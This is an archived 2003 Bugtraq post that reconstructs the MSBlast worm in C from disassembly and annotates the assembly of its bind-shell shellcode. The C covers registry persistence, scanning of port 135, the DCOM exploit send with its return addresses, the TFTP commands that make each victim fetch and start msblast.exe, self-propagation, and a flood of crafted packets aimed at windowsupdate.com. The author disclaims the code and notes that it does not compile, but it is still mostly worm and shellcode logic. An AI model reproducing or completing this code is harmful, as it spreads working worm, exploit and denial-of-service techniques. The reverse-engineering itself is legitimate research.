

Recoding msblast.exe in C from disassembly

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-08/0173.html>

From: Rolf Rolles (*rolf.rolles_at_ncf.edu*)

Date: 08/14/03

Date: 14 Aug 2003 06:19:21 -0000

To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is)

DISCLAIMER: Do not fix the poor syntax in my C code and compile it. If you do something stupid with this, that's your problem, and I'm not responsible. The way I figure it, if you go out of your way to fix this to get it to compile, then you've modified the code, it's not my work anymore, and therefore I am not responsible.

I did this for one reason only: pure RE for the sake of RE.

Anyway ... this is my first-ever binary analysis. MSBlast.exe and a dump of the exploit sent over port 135 were obtained from various people on IRC (thanks snacker and f0dder, respectively). Both were analyzed with IDA. It took two or three hours to analyze the exploit, and ten hours to analyze msblast.

Preliminary notes.

MSBlast was compiled with LCC 1.x, which made it particularly easy to analyze.

The exploit encrypts itself via XOR. A few simple modifications to the "Ripper" IDC on datarescue's site takes care of this "protection".

A summary of MSBLAST, from the victim's standpoint:

A request comes in on port 135. If open, the attacker immediately sends the exploit.

I am uncertain as to which platforms the return address[es] works on (though I know for a fact that an address was circulating privately that worked on both 2k

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

SP* and XP SP*).

The shellcode binds cmd.exe to 135, and the attacker sends the following string of commands:

```
* tftp -i source_ip GET msblast.exe\n* start msblast.exe\n? msblast.exe\n
```

TFTP installs standard into \windows\system32. TFTP is perfectly suited for this application: all msblast.exe has to do is fopen itself and send 200h byte chunks. Easy.

(Interestingly, I tried to get infected from a random box in the wild, and every time I got a hit on port 135, the TFTP would not have finished by the time that the "start msblast" command was executed. On a related note, the first copy of the binary I got from IRC was incomplete. Perhaps a longer Sleep() is needed to rectify this problem.)

When msblast loads, its first action is to put itself into the 'run' registry key. Next it picks a random class-C to scan, iteratively. Then it checks the date; if the date is greater than 15 and the month is greater than 8, it starts a thread that lobs custom-generated packets at windowsupdate.com. Regardless of whether the date conditions hold, it begins the scan on the class-C. The scan uses 20 threads at a time.

That's about all there is to it. It uses a trick in infect_host() that I'm not aware of to determine which return value to use in the exploit, and I don't know enough to tell if there's anything remarkable about the generated packets it throws at windowsupdate. It's all there in the source, if anyone cares to illuminate.

In analyzing the code I was unable to determine why the victim system (reportedly) reboots itself. Perhaps it's just that NT doesn't like system services being killed.

The code follows. Functions are listed in the order in which they physically appeared in the binary.

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

I apologize for the formatting.

Oh, and as mentioned above, this will not compile. I haven't coded anything serious in C for sufficiently long enough that I forgot the proper syntax in some cases. Also, if you examine the infect_host() function, you will see a reason that the code wouldn't work as-is even if it did compile. And to be on the safe side, I left the request1-4, bindstr and shellcode out of the source. They're the same as in any other published DCOM exploit, with a small exception: request4 differs in the first seven bytes, but is identical otherwise, with the xfocus/k-otic/HDM code: the first seven bytes are 0xbe 0x22 0x9c 0x80 0x73 0xfe 0x58 rather than 0x01 0x10 0x08 0x00 0xcc 0xcc 0xcc.

```
// globals
unsigned long keystatus, class_a, class_b, class_c, t1, t2, t3, t4,
unknown_dword2;
unsigned long mysterious_dword=1, mystery_dword2=0;
char filename[0x104], *msblast="msblast.exe";
sockaddr cp;
socket s;

main(int argc, char *argv[])
{
    WSADATA WSADATA;
    char name[512];
    in_addr in;
    *hostent_ptr ptr_to_hostent;
    unsigned long passed=0;
    char DateStr[3], MonthStr[3];

    RegCreateKeyExA
(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windows",
NULL, NULL, \
    NULL, 0xF003F, NULL, &keystatus, NULL);

    RegSetValueExA(keystatus, "windows auto update", NULL, (ULONG)
1, "msblast.exe", (ULONG) 0x32);
    RegCloseKey(keystatus);

    CreateMutexA(NULL, (ULONG)1, "BILLY");

    if(GetLastError() != 0xb7) ExitProcess(0);

    if(WSAStartup(MAKEWORD(2,2), &WSADATA) || WSAStartup(MAKEWORD
(1,1), &WSADATA) \
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```

    || WSASStartup((WORD)1, &WSAData)
    {
    GetModuleFileNameA(NULL, &filename, SIZEOF(filename));
    while (!InternetGetConnectedState(&ThreadID, NULL)) { Sleep
(20000);}
    srand(GetTickCount());
    class_a = (rand() % 254)+1;
    class_b = (rand() % 254)+1;

    if((gethostname(&name, 512)!=-1) ||
(ptr_to_hostent=gethostbyname(&name)))
        {
            if((unsigned long)*(ptr_to_hostent.h_list))
                {
                    memcpy(&in, *(ptr_to_hostent.h_list), 4);
                    sprintf(&name, "%s", inet_ntoa(in.s_addr));
                    t1=atoi(strtok(&name, '.'));
                    t2=atoi(strtok(&name, '.'));
                    t3=atoi(strtok(&name, '.'));
                    if (t3>20)
                        {
                            srand(GetTickCount());
                            t3 -= (rand() % 20);
                        }
                    class_a=t1;
                    class_b=t2;
                    passed=1;
                }
        }
    srand(GetTickCount());
    if((rand() % 20)>12) passed=0; // this is weird
    unknown_var=1;
    if((rand()%10)>7) unknown_var=2;
    if(!passed)
        {
            t1 = (rand() % 254)+1;
            t2 = (rand() % 254);
            t3 = (rand() % 254);
        }
    GetDateFormatA(0x409, NULL, NULL, "d", &DateStr, 3);
    GetDateFormatA(0x409, NULL, NULL, "d", &MonthStr, 3);
    if((atoi(&DateStr)>15) && (atoi(&MonthStr)>8))
        {
            CreateThread(NULL, NULL, &AttackMS, NULL, NULL,
ThreadID);
        }
    while(1==1) {ScanAndInfect();}
    WSACleanup();
    }
    return;
}

```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
void send_copy_of_self()
{
    char buf[0x204];
    sockaddr name;
    sockaddr to;
    unsigned long tolen=16, readlen;
    unsigned int var_204, var_202, var_200, i=0;
    FILE *thisfile;
    some_global_var=1;

this_sub_start:

    if((s=socket(2,2,0))==-1) goto this_loc_ret;
    memset(&name, NULL, 0x10);
    name.sa_family=2;
    (unsigned int)name.sa_data=(unsigned int)htons(69);
    if(!(bind(s,&name, 0x10))) goto this_loc_ret;
    if((recvfrom(s,&buf, 0x204,NULL,&from, &fromlen))==-1) goto
this_loc_ret;
    if(!(thisfile=fopen(&filename,"rb"))) goto this_loc_ret;

    send_self_loop:

        i++;
        var_204=(unsigned int)htons(3);
        var_202=(unsigned int)htons(i);
        readlen=fread(&var_200, 1, 0x200, thisfile);
        readlen+=4;
        if((sendto(s, &var_204, filelen, NULL, &to))<1) goto
fclose_it;
        Sleep(900);
        if(readlen<0x204) goto send_self_loop;

        fclose(thisfile);
        goto this_loc_ret;

    fclose_it:
        if(!((unsigned long)thisfile)) goto this_loc_ret;
        fclose(thisfile);
        goto this_loc_ret;

    goto this_sub_start; // strange, but true

    this_loc_ret:
        closesocket(s);
        ExitThread(0);
return;
}

void inc_tvals()
{
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
inc_tvals_start:
if(t4>254) {t4=0; t3++;}
else {t4++; return;}
if(t3>254) {t3=0; t2++;}
else {t3++; return;}
if(t2>254) {t2=0; t1++;}
else {t1++; return;}
if(t1>254) {t1=0; goto inc_tvals_start;}
}

void ScanAndInfect()
{
    fd_set writefds; // there's actually 64 fds in this array,
    although only 20 are used.
    in_addr in;
    unsigned long namelen, argp=1, tempvar2, tempvar3;
    sockaddr name;
    socket s[20], currsock;
    timeval timeout;
    memset(&name, 0, 16);
    name.sa_family=(WORD)2;
    name.sa_data=htons(135);
    for(int i=0; i<20; i++)
    {
        s[i*4]=socket((unsigned long)2, (unsigned long)1,
(unsigned long)0);
        if((unsigned long)s[i*4]==-1) return;
        ioctlsocket(s[i*4], 0x8004667e, argp);
    }
    for(int i=0; i<20; i++)
    {
        inc_tvals();
        sprintf(&cp, "%i.%i.%i.%i", t1, t2, t3, t4);
        tempvar2=inet_addr(&cp);
        if(tempvar2==-1) return;
        (unsigned long)name.sa_data[2]=(unsigned long)tempvar2;
        connect(s[i*4], &name, 16);
    }
    Sleep(1800);

    for(int i=0; i<20; i++)
    {
        timeout.tv_sec=0; timeout.tv_usec=0; writefds.fd_count=0;
tempvar3=0;
        currsock=s[i*4];
        while (tempvar3 < writefds.fd_count)
        {
            if((writefds.fd_array[tempvar3]==currsock)) break;
            tempvar3++;
        }
    }
}
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
    if((writefds.fd_count==tempvar3) &&
(writefds.fd_count>=0x40))
    {
        writefds.fd_array[tempvar3]=currsock;
        writefds.fd_count++;
    }
    if((select(NULL, NULL, &writefds, NULL, &timeout)<1)
closesocket(s[i*4]);
    else
    {
        namelen=10;
        getpeername(s[i*4], &name, &namelen); // ??
doesn't seem to use the result of this call
        infect_host(s[i*4], inet_ntoa(in.s_addr));
        closesocket(s[i*4]);
    }
}

return;
}

int __cdecl infect_host(SOCKET s,char *cp)
{

    sockaddr name;
    char fake_sockaddr[0x10], buf[0x370+0x2cc+0x3c], buf2[0x48];
    unsigned long argp=0, returnaddy=0, ipaddyofhosttoinfect, hObject,
ThreadID;

    /* At this point in the code there's some weirdness.

    mov eax, 2934h
    call the_code_below

    pop ecx
    sub esp, 1000h
    sub eax, 1000h
    test [esp], eax
    cmp eax, 1000h
    jnb short loc_4022B9
    sub esp, eax
    test [esp], eax
    jmp ecx
    endp
```

Anyone know what the hell this is? I'm guessing LCC did not compile this code. */

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
ioctlsocket(s,0x8004667e, &argp);
if(mystery_dword2==1) returnaddy=0x100139d;
else returnaddy=0x18759f;

/* memcpy(&buf, &bindcode, 72);
memcpy(&somestackvar, &request1, 864);
memcpy(&somestackvar2, &request2, 16);
memcpy(&somestackvar3, &request3, 60);
memcpy(&somestackvar4, &sc, 716);
memcpy(&somestackvar5, &request4, 48);
This is unnecessary crap in the code. I rewrote it below.*/

memcpy(buf2, bindcode, 0x48);
memcpy(buf, request1, 0x360);
memcpy(buf+0x360, request2, 0x10);
memcpy(buf+0x370, sc, 0x2cc);
memcpy(buf+0x394, returnaddy, 4);
(unsigned long *)buf[0x370]+=(unsigned long)0x166;
(unsigned long *)buf[0x378]+=(unsigned long)0x166;
memcpy(buf+0x370+0x2cc, request3, 0x3c);
memcpy(buf+0x370+0x2cc+0x3c, request4, 0x30);
(unsigned long *)buf[0x8]+=(unsigned long)0x2c0;
(unsigned long *)buf[0x10]+=(unsigned long)0x2c0;
(unsigned long *)buf[0x80]+=(unsigned long)0x2c0;
(unsigned long *)buf[0x84]+=(unsigned long)0x2c0;
(unsigned long *)buf[0xb4]+=(unsigned long)0x2c0;
(unsigned long *)buf[0xb8]+=(unsigned long)0x2c0;
(unsigned long *)buf[0xd0]+=(unsigned long)0x2c0;
(unsigned long *)buf[0x18c]+=(unsigned long)0x2c0;

if((send(s, &buf2, 0x48, NULL))===-1) goto common_socket_failure;
if((send(s, &buf, len, NULL))===-1) goto common_socket_failure;
closesocket(s);
Sleep(400);
if((sploit_socket=socket(2, 1, 0))===-1) goto common_socket_failure;
memset(&name, (unsigned int)0, 0x10);
name.sa_family=2;
name.sa_data=(unsigned int)htons(4444);
if((name.sa_data[2]=(unsigned long)inet_addr(BOX_TO_INFECT))===-1)
goto common_socket_failure;
if((connect(sploit_socket, &name, 0x10))===-1) goto
common_socket_failure;
memset(&ipofsendingbox, (unsigned int)0, 0x10);
namelen=0x10;
memset(&fake_sockaddr, (unsigned int)0, 0x10);
getsockname(sploit_socket, &fake_sockaddr, &namelen);
sprintf(&ipofsendingbox, "%d.%d.%d.%d", (unsigned short)
fake_sockaddr[4],(unsigned short)fake_sockaddr[5],(unsigned short)
fake_sockaddr[6],(unsigned short)fake_sockaddr[7]);
if(s) closesocket(s);
hObject=CreateThread(NULL, NULL, &send_copy_of_self, NULL, NULL,
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
ThreadID);
    Sleep(80);
    sprintf(&cmdbuffer, "tftp -i %s GET %s\n", &ipofsendingbox,
&msblast);
    if((send(spoit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1)
goto close_socket;
    Sleep(1000);
    for(int i=0; i<10; i++)
    {
        if (mysterious_dword=0) break;
        else Sleep(2000);
    }
    sprintf(&cmdbuffer, "start %s\n", &msblast);
    if((send(spoit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1)
goto close_socket;
    Sleep(2000);
    sprintf(&cmdbuffer, "%s\n", &msblast);
    send(spoit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL);
    Sleep(2000);
close_socket:
    if(spoit_socket) closesocket(spoit_socket2);
    if(mysterious_dword)
    {
        TerminateThread(hObject, NULL);
        closesocket(s);
        mysterious_dword=0;
    }
    if(hObject) CloseHandle(hObject);
common_socket_failure:
    return;
}
```

```
unsigned int checksum(char *checkdata, unsigned long checklength)
{
    int j=0;
    unsigned long accum, accum2, accum3;
    unsigned int currword;
    for(i=checklength; i>1; i-=2)
    {
        currword = (unsigned int)checkdata[j];
        accum+=currword;
        j+=2;
    }
    if(i==1) accum+=(unsigned short)checkdata[j+1];
    accum2=accum;
    accum2>>16;
    accum3=accum;
    accum3 &= (unsigned long)0x0000FFFF;
    accum = accum2;
    accum += accum3;
    accum2 = accum;
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
    accum2 >> 16;
    accum += accum2;
    accum = ~accum;
    accum &= (unsigned long)0x0000ffff;
    return accum;
}

int __cdecl GetIPAddy(char *name)
{
    unsigned long E_AX;
    E_AX=(unsigned long)inet_addr(name);
    if (E_AX!=-1) return E_AX;
    E_AX=(unsigned long)gethostbyname(name);
    if (E_AX===-1) return E_AX;
    E_AX=(unsigned long)*(*(E_AX+12));
    return E_AX;
}

unsigned long __stdcall AttackMS(LPVOID)
{
    unsigned long ipaddrms, socketms, sockoptsretval, optval=1;

    ipaddrms=(unsigned long)GetIPAddy("windowsupdate.com");

    socketms=WSASocketA(2,3,0xff,NULL,NULL,1); if (socketms===-1)
return;

    sockoptsretval=setsockopt(E_BX, NULL, 2, &optval, (unsigned long)
4); if (sockoptsretval===-1) return;

    while(1==1) {build_and_send_packets(ipaddrms, socketms); Sleep
(20);}

    closesocket(socketms);
    return;
}

void build_and_send_packets(unsigned long msipaddr, socket s)
{
    char buf1[0xc];
    char buf[0x64];
    sockaddr to;
    char name[0x10];

    memset(&buf,0,60);
    srand(GetTickCount());
    sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%
255);
    GetIPAddy(&name);
    to.sa_family=2;
    to.sa_data=(unsigned int)htons(0x50);
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
memcpy(&to.sa_data+2,&msipaddr,4);
buf[0x50]=(unsigned short)0x45;
buf[0x52]=(unsigned int)htons(0x28);
buf[0x54]=(unsigned int)1;
buf[0x56]=(unsigned int)0;
buf[0x58]=(unsigned short)0x80;
buf[0x59]=(unsigned short)6;
buf[0x5a]=(unsigned int)0;
buf[0x60]=(unsigned long)msipaddr;
buf[0x3e]=(unsigned int)htons(0x50);
buf[0x44]=(unsigned long)0;
buf[0x46]=(unsigned short)0x50;
buf[0x47]=(unsigned short)2;
buf[0x48]=(unsigned int)htons(0x4000);
buf[0x4a]=(unsigned int)0;
buf[0x4c]=(unsigned int)0;
buf1[4]=(unsigned long)msipaddr;
buf1[8]=(unsigned short)0;
buf1[9]=(unsigned short)0;
buf1[10]=(unsigned int)htons(0x14);
buf[0x5c]=(unsigned long)msipaddr;
buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000);
var_9c=rand();
var_9c<<16;
var_9c |= rand();
var_9c &= (unsigned long)0x0000FFFF;
buf[0x40]=(unsigned int)htons(var_9c);
buf1[0]=msipaddr;
memcpy(&buf, &buf1, 0xc);
memcpy(&buf[8], &buf[0x38], 0x14);
buf[0x4c]=(unsigned int)checksum(&buf, 0x20);
memcpy(&buf, &buf[0x50], 0x14);
memcpy(&buf[0x14], &buf[0x3c], 0x14);
memset(&buf[0x28], (unsigned int) 0, 4);
buf[0x5a]=(unsigned int)checksum(&buf, 0x28);
memcpy(&buf, &buf[0x50], 0x14);

// again, anyone know what kind of packets these are?

sendto(s, &buf, 0x28, NULL, &to, 0x10);
}
```

And the analysis of the exploit itself: (the comments became sparse when I realized that the code was ripped from HalVar (URL is below)). ScanForAPI is thoroughly commented.

```
loc_4AF: ; CODE XREF: seg000:000004A8 j
        sub esp, 34h
        mov esi, esp
        call GetKernel32BaseAddy
        mov [esi], eax ; EAX is the base address of
kernel32.dll
        push dword ptr [esi]
        push 0EC0E4E8Eh ; corresponds to LoadLibraryA
        call ScanForAPI
        mov [esi+8], eax
        push dword ptr [esi]
        push 0CE05D9ADh ; WaitForSingleObject
        call ScanForAPI
        mov [esi+0Ch], eax
        push 6C6Ch
        push 642E3233h
        push 5F327377h ; ws32_2.dll
        push esp
        call dword ptr [esi+8]
        mov [esi+4], eax ; esi + 4 = HModule of ws32_2.dll
        push dword ptr [esi]
        push 16B3FE72h ; CreateProcessA
        call ScanForAPI
        mov [esi+10h], eax
        push dword ptr [esi]
        push 73E2D87Eh ; ExitProcess
        call ScanForAPI
        mov [esi+14h], eax
        push dword ptr [esi+4]
        push 3BFCEDCBh ; WSASStartup
        call ScanForAPI
        mov [esi+18h], eax
        push dword ptr [esi+4]
        push 0ADF509D9h ; WSASocketA
        call ScanForAPI
        mov [esi+1Ch], eax
        push dword ptr [esi+4]
        push 0C7701AA4h ; bind
        call ScanForAPI
        mov [esi+20h], eax
        push dword ptr [esi+4]
        push 0E92EADA4h ; listen
        call ScanForAPI
        mov [esi+24h], eax
        push dword ptr [esi+4]
        push 498649E5h ; accept
        call ScanForAPI
        mov [esi+28h], eax
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
push dword ptr [esi+4]
push 79C679E7h ; closesocket
call ScanForAPI
mov [esi+2Ch], eax
xor edi, edi
sub esp, 190h
push esp
push 101h
call dword ptr [esi+18h] ; WSASStartup returns 0 if
successful
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax ; call wsasocketa
call dword ptr [esi+1Ch] ; this code sequence stolen
from halvar @ www.darklab.org/archive/msg00183.html
mov ebx, eax ; ironically, halvar decries
source stealing in that link .. heh
push edi
push edi
push 5C110002h
mov ecx, esp
push 16h
push ecx
push ebx
call dword ptr [esi+20h] ; bind
push edi
push ebx
call dword ptr [esi+24h] ; listen
push edi
push ecx
push ebx
call dword ptr [esi+28h] ; accept
mov edx, eax
push 657865h ; cmd.exe
push 2E646D63h
mov [esi+30h], esp
sub esp, 54h
lea edi, [esp]
xor eax, eax
xor ecx, ecx
add ecx, 15h

loc_5C2: ; CODE XREF: seg000:000005C3 j
stosd
loop loc_5C2
mov byte ptr [esp+10h], 44h ; 'D'
```

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

```
inc byte ptr [esp+3Dh]
mov [esp+48h], edx
mov [esp+4Ch], edx
mov [esp+50h], edx
lea eax, [esp+10h]
push esp
push eax
push ecx
push ecx
push ecx
push 1
push ecx
push ecx
push dword ptr [esi+30h]
push ecx
call dword ptr [esi+10h] ; CreateProcessA
mov ecx, esp
push 0FFFFFFFFh
push dword ptr [ecx]
call dword ptr [esi+0Ch] ; waitforsingleobject
mov ecx, eax
push edi
call dword ptr [esi+2Ch] ; closesocket
call dword ptr [esi+14h] ; exitprocess
```

GetKernel32BaseAddy proc near ; CODE XREF: seg000:000004B4 p

```
push ebp ; see halvar's code for comments
push esi
mov eax, large fs:30h
test eax, eax
js short loc_618
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp short loc_621
```

loc_618: ; CODE XREF:

```
GetKernel32BaseAddy+A j
mov eax, [eax+34h]
mov ebp, [eax+0B8h]
```

loc_621: ; CODE XREF:

```
GetKernel32BaseAddy+16 j
mov eax, ebp
pop esi
pop ebp
retn 4
```

GetKernel32BaseAddy endp

SecurityFocus Bugtraq: Recoding msblast.exe in C from disassembly

ScanForAPI proc near ; CODE XREF: seg000:000004C2 p
; seg000:000004D1 p ...

pattern = dword ptr 14h
baseaddy = dword ptr 18h

```
    push ebx
    push ebp
    push esi
    push edi
    mov ebp, [esp+baseaddy] ; get start of given DLL in
memory
    mov eax, [ebp+3Ch] ; get start of PE header
    mov edx, [ebp+eax+78h] ; get base of export table
    add edx, ebp ; edx = mem addy of export table
    mov ecx, [edx+18h] ; ecx = number of names
    mov ebx, [edx+20h] ; ebx = RVA of AddressOfNames
    add ebx, ebp ; ebx = mem addy of AddressOfNames
```

```
loc_641: ; CODE XREF: ScanForAPI+36 j
    jecz short loc_675 ; if ECX = 0, couldn't find
the 'string'
    dec ecx ; each time through the loop, ecx--
    mov esi, [ebx+ecx*4] ; get RVA of first name
    add esi, ebp ; convert it into mem addy
    xor edi, edi ; clear EDI so it can assume its
value
    cld ; direction = forwards
```

```
loc_64C: ; CODE XREF: ScanForAPI+30 j
    xor eax, eax
    lodsb ; load a byte of the API name from
ESI
```